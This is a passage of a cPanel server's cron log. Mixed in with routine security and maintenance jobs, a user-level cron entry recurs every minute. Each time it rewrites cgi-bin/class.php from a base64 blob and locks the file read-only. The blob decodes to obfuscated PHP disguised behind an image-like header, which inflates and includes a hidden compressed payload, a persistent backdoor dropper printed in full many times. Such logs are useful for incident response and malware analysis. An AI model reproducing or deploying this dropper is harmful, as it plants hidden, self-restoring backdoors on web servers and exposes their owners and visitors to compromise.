JiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:40:01 server CROND[654]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 08:41:01 server CROND[1593]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:41:01 server CROND[1592]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:41:01 server CROND[1594]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:42:01 server CROND[2000]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:42:01 server CROND[2005]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:42:01 server CROND[2007]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:42:01 server CROND[2006]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 08:43:02 server CROND[2487]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:43:02 server CROND[2488]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:43:02 server CROND[2489]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:44:01 server CROND[2890]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:44:01 server CROND[2891]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:44:01 server CROND[2892]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:45:01 server CROND[3276]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 08:45:01 server CROND[3278]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 08:45:01 server CROND[3280]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 08:45:01 server CROND[3282]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:45:01 server CROND[3285]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 08:45:01 server CROND[3284]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:45:01 server CROND[3281]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:46:01 server CROND[4151]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:46:01 server CROND[4152]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:46:01 server CROND[4153]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:47:01 server CROND[4525]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:47:01 server CROND[4526]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:47:01 server CROND[4527]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:48:01 server CROND[5006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:48:01 server CROND[5007]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:48:01 server CROND[5008]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:49:01 server CROND[5392]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:49:01 server CROND[5393]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:49:01 server CROND[5394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:50:01 server CROND[5784]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 08:50:01 server CROND[5785]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 08:50:01 server CROND[5791]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 08:50:01 server CROND[5792]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 08:50:01 server CROND[5797]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 08:50:01 server CROND[5795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:50:01 server CROND[5798]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:50:01 server CROND[5794]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 08:50:01 server CROND[5796]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:51:01 server CROND[6610]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:51:01 server CROND[6611]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:51:01 server CROND[6612]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:52:01 server CROND[7180]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:52:01 server CROND[7181]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:52:01 server CROND[7182]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:53:01 server CROND[7730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
